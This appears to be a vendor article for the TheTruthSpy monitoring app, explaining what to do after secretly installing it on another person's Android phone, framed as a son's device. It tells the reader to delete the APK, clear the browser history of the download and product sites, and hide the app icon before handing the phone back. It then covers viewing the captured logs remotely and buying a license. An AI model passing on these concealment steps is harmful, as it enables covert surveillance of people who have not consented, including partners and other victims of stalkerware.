If you did not install the target app yet, please read the previous article:
This article give you some advices AFTER installing the app (client version) on the Android target device. Please remember that you still keep in your hand the target device (your son's phone).
1. Clear the history of downloading/installing
After installing and configuring all settings, you should clear the 'history' of what you did on the target device.
- Clear/Remove downloaded file.
With Android you can remove the APK file in folder "Downloads".
How to delete downloaded file in Android device
2. Clear visited website/pages
a) Clear URL website where you visited to understand about the product. For example about features, about the prices...
b) Clear URL website where you visit to download the app. Please remember that some products, the main site is different to the download site.
3. Hide app (hide icon of the app)
On interface of the target app, it shows a button 'Hide icon' (or 'Hide app & Start tracking' - it depends some versions of the app).
Touch on that button, the app will be hidden after 1 or 2 seconds.
After complete this step, you can give back the target device to your son.
What is next?
1. Visit control panel to see the data
Use other computer/laptop or other smartphones (iOS device, Android table) and visit the user control panel site to view the data logs.
Normally it will be sent immediately to the user control panel to let you see.
And after that, the interval time will be 30 minutes or 15 minutes depend you configured, you will see the recorded data.
(Optional) instead of using the browsers such as Chrome to visit the user control panel website, you have other options to vie the data logs: you can download the app named 'monitor app' - or sometimes we called as 'server version' app to view the data.
If you are using an Android, you can download at http://android.thetruthspy.com/monitorapp
If you are using an iOS device (iPhone/iPad), you can add source http://ios.thetruthspy.com at Cydia and download and install the monitor app.
2. Buy a license
After 2 trial days, or feel it is OK to track, you can make a purchase for 30-day Gold package, 30-day Standard package...depends on what features you 'd like.
Here is the prices and the different between the packages.